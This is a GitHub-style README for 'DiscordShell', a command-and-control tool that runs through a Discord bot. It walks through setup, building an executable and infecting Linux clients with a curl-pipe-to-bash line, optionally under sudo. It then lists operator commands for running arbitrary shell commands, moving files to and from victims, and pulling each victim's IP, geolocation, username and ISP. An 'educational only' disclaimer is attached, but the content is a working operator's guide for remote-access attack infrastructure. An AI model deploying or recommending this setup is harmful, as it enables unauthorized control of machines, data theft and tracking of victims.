DiscordShell
Discord C2
Install / Use
/learn @swlacy/DiscordShellREADME
DiscordShell
C2 hosted on Discord via use of the Discord Python API. Created by Sid Lacy and Nathan Burns.
The files contained in this repository are intended for educational purposes only. Malicious use of code hosted within this repository is not permitted.
Screenshots
Instant notifications on client join.

Easy access to basic client information.

Client latency information request.

[!] SHELL: Support for executing any arbitraty non-interactive commands.

Support for uploading files to the client.

Support for downloading files from the client.

At-will client deauthorization.

Setup
Discord
- Follow these instructions.
- Save the bot token for later use.
- Create a C2 channel in your discord; this is where the bot will accept commands. Copy the channel ID and save it for later.
- Copy your user ID and save it for later use.
Host
- Edit the variables
apitoken,debug, andallowed_usersinsideshell.pywith the information you saved earlier. - Run
build.shto yield an executable. - Edit the variables
$srcipand$srcportinside ofinstall.shto contain the IP address and port of the server hosting the shell. - Host the executable (
shell) andinstaller.shat$scrip:$scrport.
Client
- Execute
curl -s http://$srcip:$srcport/installer.sh | bashfor a standard connection. - Execute
curl -s http://$srcip:$srcport/installer.sh | sudo bashfor a root connection.
Supported Features & Syntax
All supported commands are prefixed with ?.
?hosts: Request the following information for every active client:- IP address; click to navigate instantly to
whois.domaintools.com/${IP} - Alpha-2 country code of residence
- Estimated location coordinates; click to instantly navigate to
google.com/maps?q=${latitude},${longitude} - Detected operating system
- EUID (permissions)
- Username and hostname
- The service provider of the internet connection
- IP address; click to navigate instantly to
?cmd ${client_id} ${command}: Executes a command on a specified client. Command result will be returned in a discord message.- Example:
?cmd abcd1234 whoami - Example:
?cmd abcd1234 ls -la
- Example:
?download ${client_id} ${path}: Download specified file from client. Data will be returned in a discord message, has a limitation of 4MB in non-boosted servers.- Example:
?download abcd1234 file.txt - Example:
?download abcd1234 /home/user/picture.png
- Example:
?upload ${client_id} ${path}: Upload a file to a specified client. Status message will be returned in a discord message, has a limitation of 4MB in non-boosted servers.- Example:
?upload abcd1234 resource.sql - Example:
?upload abcd1234 /usr/sbin/function.sh
- Example:
?kill ${client_id}: Terminate a specified client. Status message will be returned in a discord message.- Example:
?kill abcd1234
- Example:
Limitations
- The shell is only supported on Linux. Plan to eventually support Windows and MacOS.
Plans
- MacOS and Windows support.
- Better error handling.
- Comprehensive logging.
- Support for larger file uploading/downloading.
